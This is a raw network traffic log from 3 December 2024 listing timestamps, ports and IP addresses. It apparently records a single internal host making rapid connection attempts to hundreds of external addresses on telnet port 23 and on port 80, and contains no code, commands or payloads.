Dec 3, 2024 21:30:45.225961924 CET	60028	23	192.168.2.23	20.91.56.183
Dec 3, 2024 21:30:45.226897955 CET	38096	23	192.168.2.23	70.220.90.220
Dec 3, 2024 21:30:45.227740049 CET	37636	23	192.168.2.23	50.163.33.191
Dec 3, 2024 21:30:45.228571892 CET	48154	23	192.168.2.23	101.26.86.182
Dec 3, 2024 21:30:45.229444981 CET	49650	23	192.168.2.23	137.28.97.110
Dec 3, 2024 21:30:45.230318069 CET	39922	23	192.168.2.23	108.226.186.89
Dec 3, 2024 21:30:45.231106043 CET	54738	23	192.168.2.23	24.102.155.93
Dec 3, 2024 21:30:45.231303930 CET	80	59010	93.22.80.92	192.168.2.23
Dec 3, 2024 21:30:45.231353998 CET	59010	80	192.168.2.23	93.22.80.92
Dec 3, 2024 21:30:45.231890917 CET	42926	23	192.168.2.23	36.70.141.223
Dec 3, 2024 21:30:45.232717037 CET	58438	23	192.168.2.23	51.25.109.80
Dec 3, 2024 21:30:45.233622074 CET	54430	23	192.168.2.23	91.104.170.187
Dec 3, 2024 21:30:45.234568119 CET	45200	23	192.168.2.23	157.91.73.108
Dec 3, 2024 21:30:45.235538960 CET	39964	23	192.168.2.23	168.168.34.37
Dec 3, 2024 21:30:45.236443043 CET	39086	23	192.168.2.23	187.199.4.132
Dec 3, 2024 21:30:45.237226009 CET	46450	23	192.168.2.23	134.121.71.43
Dec 3, 2024 21:30:45.238033056 CET	55544	23	192.168.2.23	158.107.98.95
Dec 3, 2024 21:30:45.238857985 CET	54022	23	192.168.2.23	43.2.232.97
Dec 3, 2024 21:30:45.239650011 CET	53402	23	192.168.2.23	112.88.28.12
Dec 3, 2024 21:30:45.239912987 CET	23	36486	115.241.3.146	192.168.2.23
Dec 3, 2024 21:30:45.239968061 CET	36486	23	192.168.2.23	115.241.3.146
Dec 3, 2024 21:30:45.251983881 CET	23	45158	54.126.30.249	192.168.2.23
Dec 3, 2024 21:30:45.252053976 CET	45158	23	192.168.2.23	54.126.30.249
Dec 3, 2024 21:30:45.256825924 CET	39094	23	192.168.2.23	69.194.74.2
Dec 3, 2024 21:30:45.258840084 CET	56754	23	192.168.2.23	27.104.204.122
Dec 3, 2024 21:30:45.260047913 CET	23	37854	38.109.20.98	192.168.2.23
Dec 3, 2024 21:30:45.260123968 CET	37854	23	192.168.2.23	38.109.20.98
Dec 3, 2024 21:30:45.284989119 CET	23	36420	8.14.63.183	192.168.2.23
Dec 3, 2024 21:30:45.285145044 CET	36420	23	192.168.2.23	8.14.63.183
Dec 3, 2024 21:30:45.285716057 CET	23	48548	223.242.75.237	192.168.2.23
Dec 3, 2024 21:30:45.285787106 CET	48548	23	192.168.2.23	223.242.75.237
Dec 3, 2024 21:30:45.291771889 CET	23	53920	140.2.250.50	192.168.2.23
Dec 3, 2024 21:30:45.291855097 CET	53920	23	192.168.2.23	140.2.250.50
Dec 3, 2024 21:30:45.300060987 CET	23	54574	61.204.171.5	192.168.2.23
Dec 3, 2024 21:30:45.300177097 CET	54574	23	192.168.2.23	61.204.171.5
Dec 3, 2024 21:30:45.312004089 CET	23	59700	39.239.196.195	192.168.2.23
Dec 3, 2024 21:30:45.312109947 CET	59700	23	192.168.2.23	39.239.196.195
Dec 3, 2024 21:30:45.337615013 CET	23	48598	117.22.254.102	192.168.2.23
Dec 3, 2024 21:30:45.337754965 CET	48598	23	192.168.2.23	117.22.254.102
Dec 3, 2024 21:30:45.338423967 CET	23	34678	125.85.89.124	192.168.2.23
Dec 3, 2024 21:30:45.338473082 CET	34678	23	192.168.2.23	125.85.89.124
Dec 3, 2024 21:30:45.343565941 CET	23	60324	146.144.148.51	192.168.2.23
Dec 3, 2024 21:30:45.343673944 CET	60324	23	192.168.2.23	146.144.148.51
Dec 3, 2024 21:30:45.355901957 CET	23	42926	36.70.141.223	192.168.2.23
Dec 3, 2024 21:30:45.356103897 CET	42926	23	192.168.2.23	36.70.141.223
Dec 3, 2024 21:30:45.362607956 CET	23	53402	112.88.28.12	192.168.2.23
Dec 3, 2024 21:30:45.362739086 CET	53402	23	192.168.2.23	112.88.28.12
Dec 3, 2024 21:30:45.376774073 CET	23	39094	69.194.74.2	192.168.2.23
Dec 3, 2024 21:30:45.376955986 CET	39094	23	192.168.2.23	69.194.74.2
Dec 3, 2024 21:30:46.100282907 CET	35338	23	192.168.2.23	175.153.120.153
Dec 3, 2024 21:30:46.100282907 CET	52604	23	192.168.2.23	201.52.254.69
Dec 3, 2024 21:30:46.100282907 CET	40254	23	192.168.2.23	136.127.71.69
Dec 3, 2024 21:30:46.100291967 CET	59696	23	192.168.2.23	73.164.226.15
Dec 3, 2024 21:30:46.100298882 CET	43564	23	192.168.2.23	147.69.69.108
Dec 3, 2024 21:30:46.100301981 CET	52904	23	192.168.2.23	141.63.249.56
Dec 3, 2024 21:30:46.100303888 CET	59270	23	192.168.2.23	158.86.129.114
Dec 3, 2024 21:30:46.100301981 CET	56188	23	192.168.2.23	194.147.220.69
Dec 3, 2024 21:30:46.100318909 CET	60614	23	192.168.2.23	13.72.18.2
Dec 3, 2024 21:30:46.100339890 CET	60158	23	192.168.2.23	83.250.177.243
Dec 3, 2024 21:30:46.100347042 CET	42826	23	192.168.2.23	79.169.18.18
Dec 3, 2024 21:30:46.118987083 CET	59010	80	192.168.2.23	208.246.133.237
Dec 3, 2024 21:30:46.118987083 CET	59010	80	192.168.2.23	46.19.30.11
Dec 3, 2024 21:30:46.118987083 CET	59010	80	192.168.2.23	145.105.254.172
Dec 3, 2024 21:30:46.118987083 CET	59010	80	192.168.2.23	5.104.106.96
Dec 3, 2024 21:30:46.118988037 CET	59010	80	192.168.2.23	167.75.81.162
Dec 3, 2024 21:30:46.118988037 CET	59010	80	192.168.2.23	141.173.180.9
Dec 3, 2024 21:30:46.118988037 CET	59010	80	192.168.2.23	8.105.165.198
Dec 3, 2024 21:30:46.118993044 CET	59010	80	192.168.2.23	104.234.241.23
Dec 3, 2024 21:30:46.118993044 CET	59010	80	192.168.2.23	32.198.110.33
Dec 3, 2024 21:30:46.118993044 CET	59010	80	192.168.2.23	93.194.223.82
Dec 3, 2024 21:30:46.118993998 CET	59010	80	192.168.2.23	136.13.75.65
Dec 3, 2024 21:30:46.118993044 CET	59010	80	192.168.2.23	96.227.56.195
Dec 3, 2024 21:30:46.118994951 CET	59010	80	192.168.2.23	204.107.80.7
Dec 3, 2024 21:30:46.118993044 CET	59010	80	192.168.2.23	25.253.247.243
Dec 3, 2024 21:30:46.118994951 CET	59010	80	192.168.2.23	62.96.206.43
Dec 3, 2024 21:30:46.118993998 CET	59010	80	192.168.2.23	42.199.59.6
Dec 3, 2024 21:30:46.118999004 CET	59010	80	192.168.2.23	81.168.40.42
Dec 3, 2024 21:30:46.118993998 CET	59010	80	192.168.2.23	216.131.217.108
Dec 3, 2024 21:30:46.118993044 CET	59010	80	192.168.2.23	199.155.1.164
Dec 3, 2024 21:30:46.118993044 CET	59010	80	192.168.2.23	142.202.33.132
Dec 3, 2024 21:30:46.118999958 CET	59010	80	192.168.2.23	143.141.87.96
Dec 3, 2024 21:30:46.118993044 CET	59010	80	192.168.2.23	23.46.95.33
Dec 3, 2024 21:30:46.118993044 CET	59010	80	192.168.2.23	202.42.96.98
Dec 3, 2024 21:30:46.118993044 CET	59010	80	192.168.2.23	24.149.246.129
Dec 3, 2024 21:30:46.118999958 CET	59010	80	192.168.2.23	71.187.196.149
Dec 3, 2024 21:30:46.118993044 CET	59010	80	192.168.2.23	185.221.32.180
Dec 3, 2024 21:30:46.118993044 CET	59010	80	192.168.2.23	217.117.141.188
Dec 3, 2024 21:30:46.118994951 CET	59010	80	192.168.2.23	92.42.91.229
Dec 3, 2024 21:30:46.118993998 CET	59010	80	192.168.2.23	171.48.150.224
Dec 3, 2024 21:30:46.118994951 CET	59010	80	192.168.2.23	24.242.230.192
Dec 3, 2024 21:30:46.118999958 CET	59010	80	192.168.2.23	146.130.90.64
Dec 3, 2024 21:30:46.118994951 CET	59010	80	192.168.2.23	138.250.81.210
Dec 3, 2024 21:30:46.118993998 CET	59010	80	192.168.2.23	32.227.59.119
Dec 3, 2024 21:30:46.118999958 CET	59010	80	192.168.2.23	69.255.176.9
Dec 3, 2024 21:30:46.118993044 CET	59010	80	192.168.2.23	173.191.101.175
Dec 3, 2024 21:30:46.118999958 CET	59010	80	192.168.2.23	68.81.161.145
Dec 3, 2024 21:30:46.118993044 CET	59010	80	192.168.2.23	120.196.61.187
Dec 3, 2024 21:30:46.118993044 CET	59010	80	192.168.2.23	119.211.146.165
Dec 3, 2024 21:30:46.118993998 CET	59010	80	192.168.2.23	4.17.178.247
Dec 3, 2024 21:30:46.118993044 CET	59010	80	192.168.2.23	197.193.109.69
Dec 3, 2024 21:30:46.118994951 CET	59010	80	192.168.2.23	168.79.240.244
Dec 3, 2024 21:30:46.118994951 CET	59010	80	192.168.2.23	139.246.200.67
Dec 3, 2024 21:30:46.118999958 CET	59010	80	192.168.2.23	61.41.15.72
Dec 3, 2024 21:30:46.118994951 CET	59010	80	192.168.2.23	148.66.215.250
Dec 3, 2024 21:30:46.118994951 CET	59010	80	192.168.2.23	150.63.45.186
Dec 3, 2024 21:30:46.118994951 CET	59010	80	192.168.2.23	149.30.241.216
Dec 3, 2024 21:30:46.118994951 CET	59010	80	192.168.2.23	207.88.49.48
Dec 3, 2024 21:30:46.118994951 CET	59010	80	192.168.2.23	185.96.7.190
Dec 3, 2024 21:30:46.118993998 CET	59010	80	192.168.2.23	172.153.131.92
Dec 3, 2024 21:30:46.119071960 CET	59010	80	192.168.2.23	79.74.148.82
Dec 3, 2024 21:30:46.119071960 CET	59010	80	192.168.2.23	51.194.102.135
Dec 3, 2024 21:30:46.119079113 CET	59010	80	192.168.2.23	223.111.24.66
Dec 3, 2024 21:30:46.119079113 CET	59010	80	192.168.2.23	34.35.216.85
Dec 3, 2024 21:30:46.119071960 CET	59010	80	192.168.2.23	60.56.169.194
Dec 3, 2024 21:30:46.119079113 CET	59010	80	192.168.2.23	116.150.62.104
Dec 3, 2024 21:30:46.119071960 CET	59010	80	192.168.2.23	67.64.187.21
Dec 3, 2024 21:30:46.119079113 CET	59010	80	192.168.2.23	212.76.170.100
Dec 3, 2024 21:30:46.119071960 CET	59010	80	192.168.2.23	9.37.142.235
Dec 3, 2024 21:30:46.119079113 CET	59010	80	192.168.2.23	183.134.212.93
Dec 3, 2024 21:30:46.119071960 CET	59010	80	192.168.2.23	17.167.215.31
Dec 3, 2024 21:30:46.119079113 CET	59010	80	192.168.2.23	104.94.144.183
Dec 3, 2024 21:30:46.119071960 CET	59010	80	192.168.2.23	212.142.16.202
Dec 3, 2024 21:30:46.119079113 CET	59010	80	192.168.2.23	117.28.210.174
Dec 3, 2024 21:30:46.119071960 CET	59010	80	192.168.2.23	24.0.191.2
Dec 3, 2024 21:30:46.119079113 CET	59010	80	192.168.2.23	97.66.36.254
Dec 3, 2024 21:30:46.119087934 CET	59010	80	192.168.2.23	147.179.254.202
Dec 3, 2024 21:30:46.119087934 CET	59010	80	192.168.2.23	201.148.44.14
Dec 3, 2024 21:30:46.119087934 CET	59010	80	192.168.2.23	2.81.246.81
Dec 3, 2024 21:30:46.119087934 CET	59010	80	192.168.2.23	27.172.93.161
Dec 3, 2024 21:30:46.119088888 CET	59010	80	192.168.2.23	143.64.223.189
Dec 3, 2024 21:30:46.119088888 CET	59010	80	192.168.2.23	82.135.213.51
Dec 3, 2024 21:30:46.119088888 CET	59010	80	192.168.2.23	126.106.81.125
Dec 3, 2024 21:30:46.119088888 CET	59010	80	192.168.2.23	210.147.64.70
Dec 3, 2024 21:30:46.119100094 CET	59010	80	192.168.2.23	52.117.45.194
Dec 3, 2024 21:30:46.119100094 CET	59010	80	192.168.2.23	40.18.80.153
Dec 3, 2024 21:30:46.119100094 CET	59010	80	192.168.2.23	68.233.51.36
Dec 3, 2024 21:30:46.119100094 CET	59010	80	192.168.2.23	73.9.156.78
Dec 3, 2024 21:30:46.119101048 CET	59010	80	192.168.2.23	40.70.124.174
Dec 3, 2024 21:30:46.119101048 CET	59010	80	192.168.2.23	60.154.109.233
Dec 3, 2024 21:30:46.119101048 CET	59010	80	192.168.2.23	98.46.47.154
Dec 3, 2024 21:30:46.119101048 CET	59010	80	192.168.2.23	107.154.204.203
Dec 3, 2024 21:30:46.119103909 CET	59010	80	192.168.2.23	77.107.172.39
Dec 3, 2024 21:30:46.119103909 CET	59010	80	192.168.2.23	9.123.92.30
Dec 3, 2024 21:30:46.119103909 CET	59010	80	192.168.2.23	122.9.196.234
Dec 3, 2024 21:30:46.119103909 CET	59010	80	192.168.2.23	74.54.58.120
Dec 3, 2024 21:30:46.119103909 CET	59010	80	192.168.2.23	31.116.114.58
Dec 3, 2024 21:30:46.119103909 CET	59010	80	192.168.2.23	27.52.37.25
Dec 3, 2024 21:30:46.119103909 CET	59010	80	192.168.2.23	31.44.176.143
Dec 3, 2024 21:30:46.119103909 CET	59010	80	192.168.2.23	105.58.226.247
Dec 3, 2024 21:30:46.119103909 CET	59010	80	192.168.2.23	99.210.69.152
Dec 3, 2024 21:30:46.119103909 CET	59010	80	192.168.2.23	110.220.201.80
Dec 3, 2024 21:30:46.119103909 CET	59010	80	192.168.2.23	196.162.47.223
Dec 3, 2024 21:30:46.119103909 CET	59010	80	192.168.2.23	58.149.83.204
Dec 3, 2024 21:30:46.119103909 CET	59010	80	192.168.2.23	170.103.111.201
Dec 3, 2024 21:30:46.119103909 CET	59010	80	192.168.2.23	128.72.223.123
Dec 3, 2024 21:30:46.119103909 CET	59010	80	192.168.2.23	113.213.232.26
Dec 3, 2024 21:30:46.119103909 CET	59010	80	192.168.2.23	89.81.122.130
Dec 3, 2024 21:30:46.119113922 CET	59010	80	192.168.2.23	163.177.185.101
Dec 3, 2024 21:30:46.119113922 CET	59010	80	192.168.2.23	45.4.115.174
Dec 3, 2024 21:30:46.119113922 CET	59010	80	192.168.2.23	152.23.75.47
Dec 3, 2024 21:30:46.119113922 CET	59010	80	192.168.2.23	183.112.211.235
Dec 3, 2024 21:30:46.119113922 CET	59010	80	192.168.2.23	213.78.215.236
Dec 3, 2024 21:30:46.119113922 CET	59010	80	192.168.2.23	193.55.123.131
Dec 3, 2024 21:30:46.119113922 CET	59010	80	192.168.2.23	139.29.245.43
Dec 3, 2024 21:30:46.119113922 CET	59010	80	192.168.2.23	222.62.245.109
Dec 3, 2024 21:30:46.119123936 CET	59010	80	192.168.2.23	118.247.114.176
Dec 3, 2024 21:30:46.119123936 CET	59010	80	192.168.2.23	46.253.36.26
Dec 3, 2024 21:30:46.119123936 CET	59010	80	192.168.2.23	40.57.205.171
Dec 3, 2024 21:30:46.119124889 CET	59010	80	192.168.2.23	165.246.197.215
Dec 3, 2024 21:30:46.119123936 CET	59010	80	192.168.2.23	76.142.200.188
Dec 3, 2024 21:30:46.119124889 CET	59010	80	192.168.2.23	151.130.110.20
Dec 3, 2024 21:30:46.119123936 CET	59010	80	192.168.2.23	67.254.98.145
Dec 3, 2024 21:30:46.119124889 CET	59010	80	192.168.2.23	73.90.95.77
Dec 3, 2024 21:30:46.119123936 CET	59010	80	192.168.2.23	104.22.212.6
Dec 3, 2024 21:30:46.119124889 CET	59010	80	192.168.2.23	67.153.5.56
Dec 3, 2024 21:30:46.119123936 CET	59010	80	192.168.2.23	69.134.144.165
Dec 3, 2024 21:30:46.119124889 CET	59010	80	192.168.2.23	38.144.84.10
Dec 3, 2024 21:30:46.119123936 CET	59010	80	192.168.2.23	77.117.201.13
Dec 3, 2024 21:30:46.119132042 CET	59010	80	192.168.2.23	209.109.59.201
Dec 3, 2024 21:30:46.119132042 CET	59010	80	192.168.2.23	207.71.94.193
Dec 3, 2024 21:30:46.119132042 CET	59010	80	192.168.2.23	133.241.149.192
Dec 3, 2024 21:30:46.119132042 CET	59010	80	192.168.2.23	173.71.115.55
Dec 3, 2024 21:30:46.119132042 CET	59010	80	192.168.2.23	157.117.208.114
Dec 3, 2024 21:30:46.119132042 CET	59010	80	192.168.2.23	104.124.37.171
Dec 3, 2024 21:30:46.119132042 CET	59010	80	192.168.2.23	53.45.8.166
Dec 3, 2024 21:30:46.119132042 CET	59010	80	192.168.2.23	48.175.72.224
Dec 3, 2024 21:30:46.119136095 CET	59010	80	192.168.2.23	109.170.69.156
Dec 3, 2024 21:30:46.119137049 CET	59010	80	192.168.2.23	153.222.78.59
Dec 3, 2024 21:30:46.119137049 CET	59010	80	192.168.2.23	36.78.74.171
Dec 3, 2024 21:30:46.119137049 CET	59010	80	192.168.2.23	114.112.154.17
Dec 3, 2024 21:30:46.119137049 CET	59010	80	192.168.2.23	186.152.150.17
Dec 3, 2024 21:30:46.119137049 CET	59010	80	192.168.2.23	169.241.171.82
Dec 3, 2024 21:30:46.119138956 CET	59010	80	192.168.2.23	104.53.27.158
Dec 3, 2024 21:30:46.119138956 CET	59010	80	192.168.2.23	218.236.242.152
Dec 3, 2024 21:30:46.119138956 CET	59010	80	192.168.2.23	41.38.176.103
Dec 3, 2024 21:30:46.119138956 CET	59010	80	192.168.2.23	136.50.218.213
Dec 3, 2024 21:30:46.119138956 CET	59010	80	192.168.2.23	35.100.252.13
Dec 3, 2024 21:30:46.119138956 CET	59010	80	192.168.2.23	111.17.11.226
Dec 3, 2024 21:30:46.119138956 CET	59010	80	192.168.2.23	175.88.9.207
Dec 3, 2024 21:30:46.119138956 CET	59010	80	192.168.2.23	64.175.55.191
Dec 3, 2024 21:30:46.119148016 CET	59010	80	192.168.2.23	60.148.70.98
Dec 3, 2024 21:30:46.119148016 CET	59010	80	192.168.2.23	92.22.194.193
Dec 3, 2024 21:30:46.119148016 CET	59010	80	192.168.2.23	180.94.55.167
Dec 3, 2024 21:30:46.119148016 CET	59010	80	192.168.2.23	129.223.221.30
Dec 3, 2024 21:30:46.119148016 CET	59010	80	192.168.2.23	154.100.209.129
Dec 3, 2024 21:30:46.119162083 CET	59010	80	192.168.2.23	113.18.202.199
Dec 3, 2024 21:30:46.119162083 CET	59010	80	192.168.2.23	85.213.27.23
Dec 3, 2024 21:30:46.119162083 CET	59010	80	192.168.2.23	120.85.255.47
Dec 3, 2024 21:30:46.119162083 CET	59010	80	192.168.2.23	119.117.7.20
Dec 3, 2024 21:30:46.119162083 CET	59010	80	192.168.2.23	63.194.231.72
Dec 3, 2024 21:30:46.119162083 CET	59010	80	192.168.2.23	72.199.150.90
Dec 3, 2024 21:30:46.119163036 CET	59010	80	192.168.2.23	177.71.91.53
Dec 3, 2024 21:30:46.119163036 CET	59010	80	192.168.2.23	120.187.48.79
Dec 3, 2024 21:30:46.119164944 CET	59010	80	192.168.2.23	206.254.215.58
Dec 3, 2024 21:30:46.119164944 CET	59010	80	192.168.2.23	38.123.160.18
Dec 3, 2024 21:30:46.119164944 CET	59010	80	192.168.2.23	83.49.77.137
Dec 3, 2024 21:30:46.119164944 CET	59010	80	192.168.2.23	116.80.13.242
Dec 3, 2024 21:30:46.119164944 CET	59010	80	192.168.2.23	138.95.110.107
Dec 3, 2024 21:30:46.119165897 CET	59010	80	192.168.2.23	135.6.86.121
Dec 3, 2024 21:30:46.119165897 CET	59010	80	192.168.2.23	107.238.216.182
Dec 3, 2024 21:30:46.119165897 CET	59010	80	192.168.2.23	129.240.163.227
Dec 3, 2024 21:30:46.119169950 CET	59010	80	192.168.2.23	125.90.64.60
Dec 3, 2024 21:30:46.119170904 CET	59010	80	192.168.2.23	143.27.214.78
Dec 3, 2024 21:30:46.119170904 CET	59010	80	192.168.2.23	114.252.1.86
Dec 3, 2024 21:30:46.119170904 CET	59010	80	192.168.2.23	182.64.160.10
Dec 3, 2024 21:30:46.119170904 CET	59010	80	192.168.2.23	208.70.29.135
Dec 3, 2024 21:30:46.119170904 CET	59010	80	192.168.2.23	5.187.163.200
Dec 3, 2024 21:30:46.119170904 CET	59010	80	192.168.2.23	96.224.95.252
Dec 3, 2024 21:30:46.119172096 CET	59010	80	192.168.2.23	13.87.226.245
Dec 3, 2024 21:30:46.119170904 CET	59010	80	192.168.2.23	184.129.57.190
Dec 3, 2024 21:30:46.119172096 CET	59010	80	192.168.2.23	138.177.248.169
Dec 3, 2024 21:30:46.119170904 CET	59010	80	192.168.2.23	111.146.145.136
Dec 3, 2024 21:30:46.119172096 CET	59010	80	192.168.2.23	118.19.228.255
Dec 3, 2024 21:30:46.119173050 CET	59010	80	192.168.2.23	194.212.67.160
Dec 3, 2024 21:30:46.119173050 CET	59010	80	192.168.2.23	107.147.8.189
Dec 3, 2024 21:30:46.119173050 CET	59010	80	192.168.2.23	171.74.215.113
Dec 3, 2024 21:30:46.119173050 CET	59010	80	192.168.2.23	23.26.165.65
Dec 3, 2024 21:30:46.119173050 CET	59010	80	192.168.2.23	110.183.158.71
Dec 3, 2024 21:30:46.119179964 CET	59010	80	192.168.2.23	210.158.78.14
Dec 3, 2024 21:30:46.119179964 CET	59010	80	192.168.2.23	184.157.147.245
Dec 3, 2024 21:30:46.119180918 CET	59010	80	192.168.2.23	119.135.101.31
Dec 3, 2024 21:30:46.119180918 CET	59010	80	192.168.2.23	123.119.154.81
Dec 3, 2024 21:30:46.119180918 CET	59010	80	192.168.2.23	64.245.155.50
Dec 3, 2024 21:30:46.119180918 CET	59010	80	192.168.2.23	196.61.199.153
Dec 3, 2024 21:30:46.119180918 CET	59010	80	192.168.2.23	153.177.246.230
Dec 3, 2024 21:30:46.119180918 CET	59010	80	192.168.2.23	124.50.3.145
Dec 3, 2024 21:30:46.119180918 CET	59010	80	192.168.2.23	53.13.94.18
Dec 3, 2024 21:30:46.119180918 CET	59010	80	192.168.2.23	64.187.221.130
Dec 3, 2024 21:30:46.119188070 CET	59010	80	192.168.2.23	31.176.192.114
Dec 3, 2024 21:30:46.119189024 CET	59010	80	192.168.2.23	113.97.218.195
Dec 3, 2024 21:30:46.119189024 CET	59010	80	192.168.2.23	216.103.112.103
Dec 3, 2024 21:30:46.119189024 CET	59010	80	192.168.2.23	140.228.11.179
Dec 3, 2024 21:30:46.119189978 CET	59010	80	192.168.2.23	106.90.45.121
Dec 3, 2024 21:30:46.119189024 CET	59010	80	192.168.2.23	181.10.66.91
Dec 3, 2024 21:30:46.119189978 CET	59010	80	192.168.2.23	45.143.159.87
Dec 3, 2024 21:30:46.119191885 CET	59010	80	192.168.2.23	212.112.115.236
Dec 3, 2024 21:30:46.119189024 CET	59010	80	192.168.2.23	193.149.145.189
Dec 3, 2024 21:30:46.119189024 CET	59010	80	192.168.2.23	173.210.179.117
Dec 3, 2024 21:30:46.119189024 CET	59010	80	192.168.2.23	152.160.241.169
Dec 3, 2024 21:30:46.119189024 CET	59010	80	192.168.2.23	81.25.118.154
Dec 3, 2024 21:30:46.119201899 CET	59010	80	192.168.2.23	196.179.144.37
Dec 3, 2024 21:30:46.119204998 CET	59010	80	192.168.2.23	206.204.230.51
Dec 3, 2024 21:30:46.119213104 CET	59010	80	192.168.2.23	63.252.14.252
Dec 3, 2024 21:30:46.119215965 CET	59010	80	192.168.2.23	101.182.75.90
Dec 3, 2024 21:30:46.119229078 CET	59010	80	192.168.2.23	160.194.166.95
Dec 3, 2024 21:30:46.119229078 CET	59010	80	192.168.2.23	194.0.87.145
Dec 3, 2024 21:30:46.119240046 CET	59010	80	192.168.2.23	195.134.221.164
Dec 3, 2024 21:30:46.119246960 CET	59010	80	192.168.2.23	192.136.8.141
Dec 3, 2024 21:30:46.119246960 CET	59010	80	192.168.2.23	163.224.18.111
Dec 3, 2024 21:30:46.119251966 CET	59010	80	192.168.2.23	155.166.225.82
Dec 3, 2024 21:30:46.119252920 CET	59010	80	192.168.2.23	44.218.189.195
Dec 3, 2024 21:30:46.119256020 CET	59010	80	192.168.2.23	213.177.136.134
Dec 3, 2024 21:30:46.119256973 CET	59010	80	192.168.2.23	135.125.200.213
Dec 3, 2024 21:30:46.119256973 CET	59010	80	192.168.2.23	53.196.101.108
Dec 3, 2024 21:30:46.119270086 CET	59010	80	192.168.2.23	181.56.0.96
Dec 3, 2024 21:30:46.119273901 CET	59010	80	192.168.2.23	141.142.195.61
Dec 3, 2024 21:30:46.119286060 CET	59010	80	192.168.2.23	135.199.82.128
Dec 3, 2024 21:30:46.119287014 CET	59010	80	192.168.2.23	2.20.157.19
Dec 3, 2024 21:30:46.119293928 CET	59010	80	192.168.2.23	221.124.32.85
Dec 3, 2024 21:30:46.119308949 CET	59010	80	192.168.2.23	129.190.122.96
Dec 3, 2024 21:30:46.119308949 CET	59010	80	192.168.2.23	83.7.117.138
Dec 3, 2024 21:30:46.119321108 CET	59010	80	192.168.2.23	20.208.169.44
Dec 3, 2024 21:30:46.119327068 CET	59010	80	192.168.2.23	194.23.62.62
Dec 3, 2024 21:30:46.119333982 CET	59010	80	192.168.2.23	85.213.163.111
Dec 3, 2024 21:30:46.119342089 CET	59010	80	192.168.2.23	112.148.227.6
Dec 3, 2024 21:30:46.119343042 CET	59010	80	192.168.2.23	86.20.241.185
Dec 3, 2024 21:30:46.119349003 CET	59010	80	192.168.2.23	192.43.13.101
Dec 3, 2024 21:30:46.119359970 CET	59010	80	192.168.2.23	144.36.176.223
Dec 3, 2024 21:30:46.119364023 CET	59010	80	192.168.2.23	126.8.86.139
Dec 3, 2024 21:30:46.119364977 CET	59010	80	192.168.2.23	90.129.249.173
Dec 3, 2024 21:30:46.119375944 CET	59010	80	192.168.2.23	75.138.237.11
Dec 3, 2024 21:30:46.119379997 CET	59010	80	192.168.2.23	86.3.225.132
Dec 3, 2024 21:30:46.119391918 CET	59010	80	192.168.2.23	119.22.0.241
Dec 3, 2024 21:30:46.119393110 CET	59010	80	192.168.2.23	89.253.134.157
Dec 3, 2024 21:30:46.119393110 CET	59010	80	192.168.2.23	148.71.4.172
Dec 3, 2024 21:30:46.119394064 CET	59010	80	192.168.2.23	152.74.254.38
Dec 3, 2024 21:30:46.119393110 CET	59010	80	192.168.2.23	204.84.132.217
Dec 3, 2024 21:30:46.119410038 CET	59010	80	192.168.2.23	130.61.29.168
Dec 3, 2024 21:30:46.119414091 CET	59010	80	192.168.2.23	163.33.83.40
Dec 3, 2024 21:30:46.119425058 CET	59010	80	192.168.2.23	20.120.62.196
Dec 3, 2024 21:30:46.119427919 CET	59010	80	192.168.2.23	111.56.166.5
Dec 3, 2024 21:30:46.119427919 CET	59010	80	192.168.2.23	201.86.21.134
Dec 3, 2024 21:30:46.119427919 CET	59010	80	192.168.2.23	167.255.120.3
Dec 3, 2024 21:30:46.119430065 CET	59010	80	192.168.2.23	158.220.10.149
Dec 3, 2024 21:30:46.119430065 CET	59010	80	192.168.2.23	90.47.20.201
Dec 3, 2024 21:30:46.119441032 CET	59010	80	192.168.2.23	218.192.65.100
Dec 3, 2024 21:30:46.119446039 CET	59010	80	192.168.2.23	131.66.62.26
Dec 3, 2024 21:30:46.119452000 CET	59010	80	192.168.2.23	136.79.218.75
Dec 3, 2024 21:30:46.119463921 CET	59010	80	192.168.2.23	106.109.208.199
Dec 3, 2024 21:30:46.119469881 CET	59010	80	192.168.2.23	137.193.106.234
Dec 3, 2024 21:30:46.119487047 CET	59010	80	192.168.2.23	31.17.91.22
Dec 3, 2024 21:30:46.119488001 CET	59010	80	192.168.2.23	118.114.123.197
Dec 3, 2024 21:30:46.119493008 CET	59010	80	192.168.2.23	42.197.63.114
Dec 3, 2024 21:30:46.119502068 CET	59010	80	192.168.2.23	163.46.134.157
Dec 3, 2024 21:30:46.119502068 CET	59010	80	192.168.2.23	185.237.97.241
Dec 3, 2024 21:30:46.119507074 CET	59010	80	192.168.2.23	133.61.150.242
Dec 3, 2024 21:30:46.119524002 CET	59010	80	192.168.2.23	195.152.167.25
Dec 3, 2024 21:30:46.119524002 CET	59010	80	192.168.2.23	126.198.228.222
Dec 3, 2024 21:30:46.119524956 CET	59010	80	192.168.2.23	45.155.132.118
Dec 3, 2024 21:30:46.119530916 CET	59010	80	192.168.2.23	148.192.20.33
Dec 3, 2024 21:30:46.119544029 CET	59010	80	192.168.2.23	85.123.134.12
Dec 3, 2024 21:30:46.119545937 CET	59010	80	192.168.2.23	142.136.206.14
Dec 3, 2024 21:30:46.119564056 CET	59010	80	192.168.2.23	199.241.145.82
Dec 3, 2024 21:30:46.119565010 CET	59010	80	192.168.2.23	42.232.210.139
Dec 3, 2024 21:30:46.119565010 CET	59010	80	192.168.2.23	4.254.170.109
Dec 3, 2024 21:30:46.119591951 CET	59010	80	192.168.2.23	93.69.78.8
Dec 3, 2024 21:30:46.119591951 CET	59010	80	192.168.2.23	143.103.223.233
Dec 3, 2024 21:30:46.119591951 CET	59010	80	192.168.2.23	43.40.117.98
Dec 3, 2024 21:30:46.119596004 CET	59010	80	192.168.2.23	195.45.27.208
Dec 3, 2024 21:30:46.119599104 CET	59010	80	192.168.2.23	12.25.162.235
Dec 3, 2024 21:30:46.119600058 CET	59010	80	192.168.2.23	179.45.221.77
Dec 3, 2024 21:30:46.119601965 CET	59010	80	192.168.2.23	145.161.71.0
Dec 3, 2024 21:30:46.119612932 CET	59010	80	192.168.2.23	17.65.48.4
Dec 3, 2024 21:30:46.119616985 CET	59010	80	192.168.2.23	37.165.207.54
Dec 3, 2024 21:30:46.119622946 CET	59010	80	192.168.2.23	27.128.207.117
Dec 3, 2024 21:30:46.119630098 CET	59010	80	192.168.2.23	57.240.20.52
Dec 3, 2024 21:30:46.119631052 CET	59010	80	192.168.2.23	52.119.250.20
Dec 3, 2024 21:30:46.119642019 CET	59010	80	192.168.2.23	112.54.133.20
Dec 3, 2024 21:30:46.119652987 CET	59010	80	192.168.2.23	200.71.234.202
Dec 3, 2024 21:30:46.119652987 CET	59010	80	192.168.2.23	35.187.79.149
